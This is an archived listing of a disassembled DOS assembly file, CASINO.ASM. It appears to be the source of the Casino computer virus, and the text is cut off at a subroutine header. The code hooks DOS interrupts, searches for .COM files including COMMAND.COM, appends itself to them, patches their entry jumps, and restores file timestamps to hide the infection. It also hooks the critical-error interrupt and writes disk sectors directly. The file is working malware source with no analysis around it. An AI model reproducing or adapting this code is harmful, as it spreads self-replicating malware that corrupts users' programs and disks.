home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / CASINO.ASM < prev    next >
Assembly Source File  |  1992-09-12  |  30KB  |  1,429 lines

  1.   
  2. PAGE  59,132
  3.   
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    CASINO                         ██
  7. ;██                                         ██
  8. ;██      Created:   31-Aug-90                             ██
  9. ;██      Version:                                 ██
  10. ;██      Passes:    9           Analysis Options on: H                 ██
  11. ;██      Copyright S & S International, 1990                     ██
  12. ;██                                         ██
  13. ;██████████████████████████████████████████████████████████████████████████
  14.   
  15. data_1e        equ    60Ch            ; (0000:060C=0)
  16. data_2e        equ    60Dh            ; (0000:060D=0)
  17. data_3e        equ    60Eh            ; (0000:060E=0)
  18. data_4e        equ    60Fh            ; (0000:060F=0)
  19. data_5e        equ    610h            ; (0000:0610=0)
  20. data_6e        equ    611h            ; (0000:0611=0)
  21. data_7e        equ    612h            ; (0000:0612=0)
  22. data_8e        equ    2            ; (6AE6:0002=0)
  23. data_10e    equ    3Bh            ; (6AE6:003B=0)
  24. data_11e    equ    3Dh            ; (6AE6:003D=0)
  25. data_12e    equ    3Fh            ; (6AE6:003F=0)
  26. data_13e    equ    40h            ; (6AE6:0040=0)
  27. data_14e    equ    41h            ; (6AE6:0041=0)
  28. data_15e    equ    43h            ; (6AE6:0043=6AE6h)
  29. data_16e    equ    45h            ; (6AE6:0045=0)
  30. data_17e    equ    47h            ; (6AE6:0047=6AE6h)
  31. data_18e    equ    4Dh            ; (6AE6:004D=0)
  32. data_19e    equ    68h            ; (6AE6:0068=0)
  33. data_20e    equ    7Eh            ; (6AE6:007E=0)
  34. data_21e    equ    80h            ; (6AE6:0080=0)
  35. data_33e    equ    716Eh            ; (6AE6:716E=0)
  36.   
  37. seg_a        segment    byte public
  38.         assume    cs:seg_a, ds:seg_a
  39.   
  40.   
  41.         org    100h
  42.   
  43. casino        proc    far
  44.   
  45. start:
  46.         nop
  47. data_23        db    0E9h
  48. data_24        db    48h
  49. data_25        db    7, 'ello - Copyright S & S Intern'
  50.         db    'ational, 1990', 0Ah, 0Dh, '$'
  51.         db    1Ah
  52.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  53.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  54.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  55.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  56.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  57.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  58.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  59.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  60.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  61.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  62.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  63.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  64.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  65.         db    'AA'
  66.         db    0E6h
  67.         db    'jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  68.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  69.         db    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
  70.   
  71. casino        endp
  72.   
  73. ;██████████████████████████████████████████████████████████████████████████
  74. ;
  75. ;            External Entry Point
  76. ;
  77. ;██████████████████████████████████████████████████████████████████████████
  78.   
  79. int_24h_entry    proc    far
  80.         inc    cx
  81.         inc    cx
  82.         inc    cx
  83.         inc    cx
  84.         inc    cx
  85.         inc    cx
  86.         inc    cx
  87.         inc    cx
  88.         inc    cx
  89.         inc    cx
  90.         inc    cx
  91.         inc    cx
  92.         inc    cx
  93.         inc    cx
  94.         inc    cx
  95.         inc    cx
  96.         inc    cx
  97.         inc    cx
  98.         inc    cx
  99.         inc    cx
  100.         inc    cx
  101.         inc    cx
  102.         inc    cx
  103.         inc    cx
  104.         inc    cx
  105.         inc    cx
  106.         inc    cx
  107.         inc    cx
  108.         inc    cx
  109.         inc    cx
  110.         inc    cx
  111.         inc    cx
  112.         inc    cx
  113.         inc    cx
  114.         inc    cx
  115.         inc    cx
  116.         inc    cx
  117.         inc    cx
  118.         inc    cx
  119.         inc    cx
  120.         inc    cx
  121.         inc    cx
  122.         inc    cx
  123.         inc    cx
  124.         inc    cx
  125.         inc    cx
  126.         inc    cx
  127.         inc    cx
  128.         inc    cx
  129.         inc    cx
  130.         inc    cx
  131.         inc    cx
  132.         inc    cx
  133.         inc    cx
  134.         inc    cx
  135.         inc    cx
  136.         inc    cx
  137.         inc    cx
  138.         inc    cx
  139.         inc    cx
  140.         inc    cx
  141.         inc    cx
  142.         inc    cx
  143.         inc    cx
  144.         inc    cx
  145.         inc    cx
  146.         inc    cx
  147.         inc    cx
  148.         inc    cx
  149.         inc    cx
  150.         inc    cx
  151.         inc    cx
  152.         inc    cx
  153.         inc    cx
  154.         inc    cx
  155.         inc    cx
  156.         inc    cx
  157.         inc    cx
  158.         inc    cx
  159.         inc    cx
  160.         inc    cx
  161.         inc    cx
  162.         inc    cx
  163.         inc    cx
  164.         inc    cx
  165.         inc    cx
  166.         inc    cx
  167.         inc    cx
  168.         inc    cx
  169.         inc    cx
  170.         inc    cx
  171.         inc    cx
  172.         inc    cx
  173.         inc    cx
  174.         inc    cx
  175.         inc    cx
  176.         inc    cx
  177.         inc    cx
  178.         inc    cx
  179.         inc    cx
  180.         inc    cx
  181.         inc    cx
  182.         inc    cx
  183.         inc    cx
  184.         inc    cx
  185.         inc    cx
  186.         inc    cx
  187.         inc    cx
  188.         inc    cx
  189.         inc    cx
  190.         inc    cx
  191.         inc    cx
  192.         inc    cx
  193.         inc    cx
  194.         inc    cx
  195.         inc    cx
  196.         inc    cx
  197.         inc    cx
  198.         inc    cx
  199.         inc    cx
  200.         inc    cx
  201.         inc    cx
  202.         inc    cx
  203.         inc    cx
  204.         inc    cx
  205.         inc    cx
  206.         inc    cx
  207.         inc    cx
  208.         inc    cx
  209.         inc    cx
  210.         inc    cx
  211.         inc    cx
  212.         inc    cx
  213.         inc    cx
  214.         inc    cx
  215.         inc    cx
  216.         inc    cx
  217.         inc    cx
  218.         inc    cx
  219.         inc    cx
  220.         inc    cx
  221.         inc    cx
  222.         inc    cx
  223.         inc    cx
  224.         inc    cx
  225.         inc    cx
  226.         inc    cx
  227.         inc    cx
  228.         inc    cx
  229.         inc    cx
  230.         inc    cx
  231.         inc    cx
  232.         inc    cx
  233.         inc    cx
  234.         inc    cx
  235.         inc    cx
  236.         inc    cx
  237.         inc    cx
  238.         inc    cx
  239.         inc    cx
  240.         inc    cx
  241.         inc    cx
  242.         inc    cx
  243.         inc    cx
  244.         inc    cx
  245.         inc    cx
  246.         inc    cx
  247.         inc    cx
  248.         inc    cx
  249.         inc    cx
  250.         inc    cx
  251.         inc    cx
  252.         inc    cx
  253.         inc    cx
  254.         inc    cx
  255.         inc    cx
  256.         inc    cx
  257.         inc    cx
  258.         inc    cx
  259.         inc    cx
  260.         inc    cx
  261.         inc    cx
  262.         inc    cx
  263.         inc    cx
  264.         inc    cx
  265.         inc    cx
  266.         inc    cx
  267.         inc    cx
  268.         inc    cx
  269.         inc    cx
  270.         inc    cx
  271.         inc    cx
  272.         inc    cx
  273.         inc    cx
  274.         inc    cx
  275.         inc    cx
  276.         inc    cx
  277.         inc    cx
  278.         inc    cx
  279.         inc    cx
  280.         inc    cx
  281.         inc    cx
  282.         inc    cx
  283.         inc    cx
  284.         inc    cx
  285.         inc    cx
  286.         inc    cx
  287.         inc    cx
  288.         inc    cx
  289.         inc    cx
  290.         inc    cx
  291.         inc    cx
  292.         inc    cx
  293.         inc    cx
  294.         inc    cx
  295.         inc    cx
  296.         inc    cx
  297.         inc    cx
  298.         inc    cx
  299.         inc    cx
  300.         inc    cx
  301.         inc    cx
  302.         inc    cx
  303.         inc    cx
  304.         inc    cx
  305.         inc    cx
  306.         inc    cx
  307.         inc    cx
  308.         inc    cx
  309.         inc    cx
  310.         inc    cx
  311.         inc    cx
  312.         inc    cx
  313.         inc    cx
  314.         inc    cx
  315.         inc    cx
  316.         inc    cx
  317.         inc    cx
  318.         inc    cx
  319.         inc    cx
  320.         inc    cx
  321.         inc    cx
  322.         inc    cx
  323.         inc    cx
  324.         inc    cx
  325.         inc    cx
  326.         inc    cx
  327.         inc    cx
  328.         inc    cx
  329.         inc    cx
  330.         inc    cx
  331.         inc    cx
  332.         inc    cx
  333.         inc    cx
  334.         inc    cx
  335.         inc    cx
  336.         inc    cx
  337.         inc    cx
  338.         inc    cx
  339.         inc    cx
  340.         inc    cx
  341.         inc    cx
  342.         inc    cx
  343.         inc    cx
  344.         inc    cx
  345.         inc    cx
  346.         inc    cx
  347.         inc    cx
  348.         inc    cx
  349.         inc    cx
  350.         inc    cx
  351.         inc    cx
  352.         inc    cx
  353.         inc    cx
  354.         inc    cx
  355.         inc    cx
  356.         inc    cx
  357.         inc    cx
  358.         inc    cx
  359.         inc    cx
  360.         inc    cx
  361.         inc    cx
  362.         inc    cx
  363.         inc    cx
  364.         inc    cx
  365.         inc    cx
  366.         inc    cx
  367.         inc    cx
  368.         inc    cx
  369.         inc    cx
  370.         inc    cx
  371.         inc    cx
  372.         inc    cx
  373.         inc    cx
  374.         inc    cx
  375.         inc    cx
  376.         inc    cx
  377.         inc    cx
  378.         inc    cx
  379.         inc    cx
  380.         inc    cx
  381.         inc    cx
  382.         inc    cx
  383.         inc    cx
  384.         inc    cx
  385.         inc    cx
  386.         inc    cx
  387.         inc    cx
  388.         inc    cx
  389.         inc    cx
  390.         inc    cx
  391.         inc    cx
  392.         inc    cx
  393.         inc    cx
  394.         inc    cx
  395.         inc    cx
  396.         inc    cx
  397.         inc    cx
  398.         inc    cx
  399.         inc    cx
  400.         inc    cx
  401.         inc    cx
  402.         inc    cx
  403.         inc    cx
  404.         inc    cx
  405.         inc    cx
  406.         inc    cx
  407.         inc    cx
  408.         inc    cx
  409.         inc    cx
  410.         inc    cx
  411.         inc    cx
  412.         inc    cx
  413.         inc    cx
  414.         inc    cx
  415.         inc    cx
  416.         inc    cx
  417.         inc    cx
  418.         inc    cx
  419.         inc    cx
  420.         inc    cx
  421.         inc    cx
  422.         inc    cx
  423.         inc    cx
  424.         inc    cx
  425.         inc    cx
  426.         inc    cx
  427.         inc    cx
  428.         inc    cx
  429.         inc    cx
  430.         inc    cx
  431.         inc    cx
  432.         inc    cx
  433.         inc    cx
  434.         inc    cx
  435.         inc    cx
  436.         inc    cx
  437.         inc    cx
  438.         inc    cx
  439.         inc    cx
  440.         inc    cx
  441.         inc    cx
  442.         inc    cx
  443.         inc    cx
  444.         inc    cx
  445.         inc    cx
  446.         inc    cx
  447.         inc    cx
  448.         inc    cx
  449.         inc    cx
  450.         inc    cx
  451.         inc    cx
  452.         inc    cx
  453.         inc    cx
  454.         inc    cx
  455.         inc    cx
  456.         inc    cx
  457.         inc    cx
  458.         inc    cx
  459.         inc    cx
  460.         inc    cx
  461.         inc    cx
  462.         inc    cx
  463.         inc    cx
  464.         inc    cx
  465.         inc    cx
  466.         inc    cx
  467.         inc    cx
  468.         inc    cx
  469.         inc    cx
  470.         inc    cx
  471.         inc    cx
  472.         inc    cx
  473.         inc    cx
  474.         inc    cx
  475.         inc    cx
  476.         inc    cx
  477.         inc    cx
  478.         inc    cx
  479.         inc    cx
  480.         inc    cx
  481.         inc    cx
  482.         inc    cx
  483.         inc    cx
  484.         inc    cx
  485.         inc    cx
  486.         inc    cx
  487.         inc    cx
  488.         inc    cx
  489.         inc    cx
  490.         inc    cx
  491.         inc    cx
  492.         inc    cx
  493.         inc    cx
  494.         inc    cx
  495.         inc    cx
  496.         inc    cx
  497.         inc    cx
  498.         inc    cx
  499.         inc    cx
  500.         inc    cx
  501.         inc    cx
  502.         inc    cx
  503.         inc    cx
  504.         inc    cx
  505.         inc    cx
  506.         mov    ah,9
  507.         mov    dx,offset data_25    ; (6AE6:0103=7)
  508.         int    21h            ; DOS Services  ah=function 09h
  509.                         ;  display char string at ds:dx
  510.         int    20h            ; Program Terminate
  511.         db    0, 0, 0, 0, 0, 0Fh
  512.         db    0, 0, 0E9h, 0D3h, 1, 0E9h
  513.         db    0, 0, 0, 90h, 0E9h, 78h
  514.         db    2Ah, 2Ah, 2Eh, 43h, 4Fh, 4Dh
  515.         db    0
  516.         db    'C:\COMMAND.COM'
  517.         db    0, 43h, 4Fh, 4Dh, 4Dh, 41h
  518.         db    4Eh, 44h, 0FFh
  519.         db    2Eh, 43h, 4Fh, 4Dh
  520.         db    15 dup (0)
  521.         db    3Fh, 0, 0F0h, 3, 2, 0
  522.         db    0B3h, 4Bh, 0FCh, 91h, 56h, 5
  523.         db    79h, 10h, 0, 0, 0, 0
  524.         db    0, 3
  525.         db    8 dup (3Fh)
  526.         db    43h, 4Fh, 4Dh, 3Fh, 8, 0
  527.         db    1Eh, 2, 2Eh, 8Bh, 26h, 68h
  528.         db    20h, 0A9h, 8Eh, 1Fh, 15h, 0E8h
  529.         db    3, 0, 0
  530.         db    'H1000.COM'
  531.         db    9 dup (0)
  532.         db    1Fh, 15h, 0A9h, 8Eh, 90h, 90h
  533.         db    3Dh, 59h, 4Bh, 75h, 4, 0B8h
  534.         db    66h, 6, 0CFh, 80h, 0FCh, 11h
  535.         db    74h, 8, 80h, 0FCh, 12h, 74h
  536.         db    3, 0EBh, 51h, 90h
  537. loc_2:
  538.         cmp    al,66h            ; 'f'
  539.         je    loc_4            ; Jump if equal
  540.         mov    al,66h            ; 'f'
  541.         int    21h            ; DOS Services  ah=function 09h
  542.                         ;  display char string at ds:dx
  543.         push    ax
  544.         push    bx
  545.         push    cx
  546.         push    dx
  547.         push    es
  548.         mov    ah,2Fh            ; '/'
  549.         int    21h            ; DOS Services  ah=function 2Fh
  550.                         ;  get DTA ptr into es:bx
  551.         mov    al,es:[bx+10h]
  552.         cmp    al,43h            ; 'C'
  553.         jne    loc_3            ; Jump if not equal
  554.         mov    al,es:[bx+11h]
  555.         cmp    al,4Fh            ; 'O'
  556.         jne    loc_3            ; Jump if not equal
  557.         mov    al,es:[bx+12h]
  558.         cmp    al,4Dh            ; 'M'
  559.         jne    loc_3            ; Jump if not equal
  560.         mov    ax,es:[bx+24h]
  561.         cmp    ax,91Ah
  562.         jb    loc_3            ; Jump if below
  563.         sub    ax,91Ah
  564.         mov    cx,ax
  565.         push    cx
  566.         mov    cx,10h
  567.         mov    dx,0
  568.         div    cx            ; ax,dx rem=dx:ax/reg
  569.         pop    cx
  570.         cmp    dx,0
  571.         jne    loc_3            ; Jump if not equal
  572.         mov    es:[bx+24h],cx
  573. loc_3:
  574.         pop    es
  575.         pop    dx
  576.         pop    cx
  577.         pop    bx
  578.         pop    ax
  579.         iret                ; Interrupt return
  580. int_24h_entry    endp
  581.   
  582. loc_4:
  583.         push    ax
  584.         push    bx
  585.         push    cx
  586.         push    dx
  587.         push    si
  588.         push    di
  589.         push    bp
  590.         push    ds
  591.         push    es
  592.         mov    bx,cs
  593.         mov    ds,bx
  594.         mov    al,0
  595.         mov    ds:data_18e,al        ; (6AE6:004D=0)
  596.         mov    al,ds:data_13e        ; (6AE6:0040=0)
  597.         cmp    al,0FFh
  598.         jne    loc_5            ; Jump if not equal
  599.         jmp    loc_15            ; (06B2)
  600. loc_5:
  601.         mov    al,0FFh
  602.         mov    ds:data_13e,al        ; (6AE6:0040=0)
  603.         cmp    ah,4Bh            ; 'K'
  604.         je    loc_6            ; Jump if equal
  605.         cmp    ah,36h            ; '6'
  606.         je    loc_7            ; Jump if equal
  607.         jmp    loc_15            ; (06B2)
  608. loc_6:
  609.         mov    ah,19h
  610.         int    21h            ; DOS Services  ah=function 19h
  611.                         ;  get default drive al  (0=a:)
  612.         mov    ds:data_12e,al        ; (6AE6:003F=0)
  613.         jmp    short loc_8        ; (0624)
  614.         db    90h
  615. loc_7:
  616.         mov    ah,19h
  617.         int    21h            ; DOS Services  ah=function 19h
  618.                         ;  get default drive al  (0=a:)
  619.         mov    ds:data_12e,al        ; (6AE6:003F=0)
  620.         cmp    dl,0
  621.         je    loc_8            ; Jump if equal
  622.         dec    dl
  623.         mov    ah,0Eh
  624.         int    21h            ; DOS Services  ah=function 0Eh
  625.                         ;  set default drive dl  (0=a:)
  626. loc_8:
  627.         mov    ah,19h
  628.         int    21h            ; DOS Services  ah=function 19h
  629.                         ;  get default drive al  (0=a:)
  630.         cmp    al,1
  631.         ja    loc_9            ; Jump if above
  632.         mov    ch,0
  633.         push    ds
  634.         pop    es
  635.         mov    bx,917h
  636.         mov    al,1
  637.         call    sub_3            ; (07DB)
  638.         mov    al,1
  639.         call    sub_4            ; (07EC)
  640.         cmp    ah,0
  641.         je    loc_9            ; Jump if equal
  642.         jmp    short loc_14        ; (069C)
  643.         db    90h
  644. loc_9:
  645.         mov    ah,2Fh            ; '/'
  646.         int    21h            ; DOS Services  ah=function 2Fh
  647.                         ;  get DTA ptr into es:bx
  648.         mov    ds:data_14e,bx        ; (6AE6:0041=0)
  649.         mov    ds:data_15e,es        ; (6AE6:0043=6AE6h)
  650.         mov    dx,4Eh
  651.         mov    ah,1Ah
  652.         int    21h            ; DOS Services  ah=function 1Ah
  653.                         ;  set DTA to ds:dx
  654.         mov    dx,0Bh
  655.         mov    cx,3Fh
  656.         mov    ah,4Eh            ; 'N'
  657.         int    21h            ; DOS Services  ah=function 4Eh
  658.                         ;  find 1st filenam match @ds:dx
  659.         jc    loc_14            ; Jump if carry Set
  660.         mov    dx,6Ch
  661.         call    sub_1            ; (06EE)
  662.         cmp    dl,1
  663.         jne    loc_10            ; Jump if not equal
  664.         call    sub_2            ; (073C)
  665.         jmp    short loc_14        ; (069C)
  666.         db    90h
  667. loc_10:
  668.         cmp    dl,3
  669.         je    loc_11            ; Jump if equal
  670.         jmp    short loc_14        ; (069C)
  671.         db    90h
  672. loc_11:
  673.         mov    ah,4Fh            ; 'O'
  674.         int    21h            ; DOS Services  ah=function 4Fh
  675.                         ;  find next filename match
  676.         jnc    loc_12            ; Jump if carry=0
  677.         jmp    short loc_14        ; (069C)
  678.         db    90h
  679. loc_12:
  680.         mov    dx,6Ch
  681.         call    sub_1            ; (06EE)
  682.         cmp    dl,1
  683.         jne    loc_13            ; Jump if not equal
  684.         call    sub_2            ; (073C)
  685.         jmp    short loc_14        ; (069C)
  686.         db    90h
  687. loc_13:
  688.         cmp    dl,3
  689.         je    loc_11            ; Jump if equal
  690. loc_14:
  691.         mov    dl,ds:data_12e        ; (6AE6:003F=0)
  692.         mov    ah,0Eh
  693.         int    21h            ; DOS Services  ah=function 0Eh
  694.                         ;  set default drive dl  (0=a:)
  695.         mov    dx,ds:data_14e        ; (6AE6:0041=0)
  696.         mov    bx,ds:data_15e        ; (6AE6:0043=6AE6h)
  697.         mov    ds,bx
  698.         mov    ah,1Ah
  699.         int    21h            ; DOS Services  ah=function 1Ah
  700.                         ;  set DTA to ds:dx
  701. loc_15:
  702.         mov    ah,0
  703.         mov    ds:data_13e,ah        ; (6AE6:0040=0)
  704.         pop    es
  705.         pop    ds
  706.         pop    bp
  707.         pop    di
  708.         pop    si
  709.         pop    dx
  710.         pop    cx
  711.         pop    bx
  712.         pop    ax
  713. ;*        jmp    far ptr loc_1        ;*(0273:1460)
  714.         db    0EAh, 60h, 14h, 73h, 2
  715.         db    8Ch, 0CAh, 83h, 0C2h, 10h, 8Eh
  716.         db    0DAh, 0BAh, 20h, 0, 0B4h, 41h
  717.         db    0CDh, 21h, 0B8h, 21h, 35h, 0CDh
  718.         db    21h, 8Ch, 6, 0D4h, 1, 89h
  719.         db    1Eh, 0D2h, 1, 0BAh, 82h, 0
  720.         db    0B8h, 21h, 25h, 0CDh, 21h, 0BAh
  721.         db    1Bh, 0Ch, 0CDh
  722.         db    27h
  723.   
  724. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  725. ;                   SUBROUTINE
  726. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  727.   
  728. sub_1        proc    near
  729.         mov    ax,ds:data_19e        ; (6AE6:0068=0)
  730.         cmp    ax,0F5B9h
  731.         ja    loc_20            ; Jump if above
  732.         mov    ax,4300h
  733.         int    21h            ; DOS Services  ah=function 43h
  734.                         ;  get/set file attrb, nam@ds:dx
  735.         test    cl,4
  736.         jnz    loc_20            ; Jump if not zero
  737.         test    cl,1
  738.         jz    loc_16            ; Jump if zero
  739.         and    cl,0FEh
  740.         mov    ax,4301h
  741.         int    21h            ; DOS Services  ah=function 43h
  742.                         ;  get/set file attrb, nam@ds:dx
  743. loc_16:
  744.         mov    ax,3D02h
  745.         int    21h            ; DOS Services  ah=function 3Dh
  746.                         ;  open file, al=mode,name@ds:dx
  747.         mov    bx,ax
  748.         mov    dx,3
  749.         mov    cx,1
  750.         mov    ah,3Fh            ; '?'
  751.         int    21h            ; DOS Services  ah=function 3Fh
  752.                         ;  read file, cx=bytes, to ds:dx
  753.         jnc    loc_17            ; Jump if carry=0
  754.         jmp    short loc_19        ; (0732)
  755.         db    90h
  756. loc_17:
  757.         cmp    ax,0
  758.         jne    loc_18            ; Jump if not equal
  759.         jmp    short loc_19        ; (0732)
  760.         db    90h
  761. loc_18:
  762.         mov    al,byte ptr ds:data_8e+1    ; (6AE6:0003=0)
  763.         cmp    al,90h
  764.         jne    loc_21            ; Jump if not equal
  765. loc_19:
  766.         mov    ah,3Eh            ; '>'
  767.         int    21h            ; DOS Services  ah=function 3Eh
  768.                         ;  close file, bx=file handle
  769. loc_20:
  770.         mov    dl,3
  771.         retn
  772. loc_21:
  773.         mov    dl,1
  774.         retn
  775. sub_1        endp
  776.   
  777.   
  778. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  779. ;                   SUBROUTINE
  780. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  781.   
  782. sub_2        proc    near
  783.         mov    ax,5700h
  784.         int    21h            ; DOS Services  ah=function 57h
  785.                         ;  get/set file date & time
  786.         mov    ds:data_20e,dx        ; (6AE6:007E=0)
  787.         mov    ds:data_21e,cx        ; (6AE6:0080=0)
  788.         push    bx
  789.         call    sub_5            ; (07FD)
  790.         mov    bx,68h
  791.         mov    ax,[bx]
  792.         mov    dx,0
  793.         mov    bx,10h
  794.         div    bx            ; ax,dx rem=dx:ax/reg
  795.         inc    ax
  796.         mov    ds:data_10e,ax        ; (6AE6:003B=0)
  797.         mul    bx            ; dx:ax = reg * ax
  798.         mov    ds:data_11e,ax        ; (6AE6:003D=0)
  799.         pop    bx
  800.         mov    cx,ds:data_10e        ; (6AE6:003B=0)
  801.         mov    si,35Fh
  802.         mov    [si],cx
  803.         mov    cx,0
  804.         mov    dx,0
  805.         mov    ax,4200h
  806.         int    21h            ; DOS Services  ah=function 42h
  807.                         ;  move file ptr, cx,dx=offset
  808.         mov    dx,605h
  809.         mov    cx,4
  810.         mov    ah,3Fh            ; '?'
  811.         int    21h            ; DOS Services  ah=function 3Fh
  812.                         ;  read file, cx=bytes, to ds:dx
  813.         mov    cx,0
  814.         mov    dx,ds:data_11e        ; (6AE6:003D=0)
  815.         mov    ax,4200h
  816.         int    21h            ; DOS Services  ah=function 42h
  817.                         ;  move file ptr, cx,dx=offset
  818.         mov    dx,0
  819.         mov    cx,91Ah
  820.         mov    ah,40h            ; '@'
  821.         int    21h            ; DOS Services  ah=function 40h
  822.                         ;  write file cx=bytes, to ds:dx
  823.         cmp    ax,cx
  824.         jb    loc_22            ; Jump if below
  825.         mov    al,ds:data_18e        ; (6AE6:004D=0)
  826.         cmp    al,1
  827.         je    loc_22            ; Jump if equal
  828.         mov    cx,0
  829.         mov    dx,0
  830.         mov    ax,4200h
  831.         int    21h            ; DOS Services  ah=function 42h
  832.                         ;  move file ptr, cx,dx=offset
  833.         mov    si,9
  834.         mov    ax,ds:data_11e        ; (6AE6:003D=0)
  835.         add    ax,35Ch
  836.         sub    ax,4
  837.         mov    [si],ax
  838.         mov    dx,7
  839.         mov    cx,4
  840.         mov    ah,40h            ; '@'
  841.         int    21h            ; DOS Services  ah=function 40h
  842.                         ;  write file cx=bytes, to ds:dx
  843. loc_22:
  844.         mov    dx,ds:data_20e        ; (6AE6:007E=0)
  845.         mov    cx,ds:data_21e        ; (6AE6:0080=0)
  846.         mov    ax,5701h
  847.         int    21h            ; DOS Services  ah=function 57h
  848.                         ;  get/set file date & time
  849.         mov    ah,3Eh            ; '>'
  850.         int    21h            ; DOS Services  ah=function 3Eh
  851.                         ;  close file, bx=file handle
  852.         call    sub_6            ; (0813)
  853.         retn
  854. sub_2        endp
  855.   
  856.   
  857. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  858. ;                   SUBROUTINE
  859. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  860.   
  861. sub_3        proc    near
  862.         push    ax
  863.         mov    ah,19h
  864.         int    21h            ; DOS Services  ah=function 19h
  865.                         ;  get default drive al  (0=a:)
  866.         mov    dl,al
  867.         pop    ax
  868.         mov    dh,0
  869.         mov    cl,1
  870.         mov    ah,2
  871.         int    13h            ; Disk  dl=drive #: ah=func b2h
  872.                         ;  read sectors to memory es:bx
  873.         retn
  874. sub_3        endp
  875.   
  876.   
  877. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  878. ;                   SUBROUTINE
  879. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  880.   
  881. sub_4        proc    near
  882.         push    ax
  883.         mov    ah,19h
  884.         int    21h            ; DOS Services  ah=function 19h
  885.                         ;  get default drive al  (0=a:)
  886.         mov    dl,al
  887.         pop    ax
  888.         mov    dh,0
  889.         mov    cl,1
  890.         mov    ah,3
  891.         int    13h            ; Disk  dl=drive #: ah=func b3h
  892.                         ;  write sectors from mem es:bx
  893.         retn
  894. sub_4        endp
  895.   
  896.   
  897. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  898. ;                   SUBROUTINE
  899. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  900.   
  901. sub_5        proc    near
  902.         mov    ax,3524h
  903.         int    21h            ; DOS Services  ah=function 35h
  904.                         ;  get intrpt vector al in es:bx
  905.         mov    ds:data_16e,bx        ; (6AE6:0045=0)
  906.         mov    ds:data_17e,es        ; (6AE6:0047=6AE6h)
  907.         mov    dx,335h
  908.         mov    ax,2524h
  909.         int    21h            ; DOS Services  ah=function 25h
  910.                         ;  set intrpt vector al to ds:dx
  911.         retn
  912. sub_5        endp
  913.   
  914.   
  915. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  916. ;                   SUBROUTINE
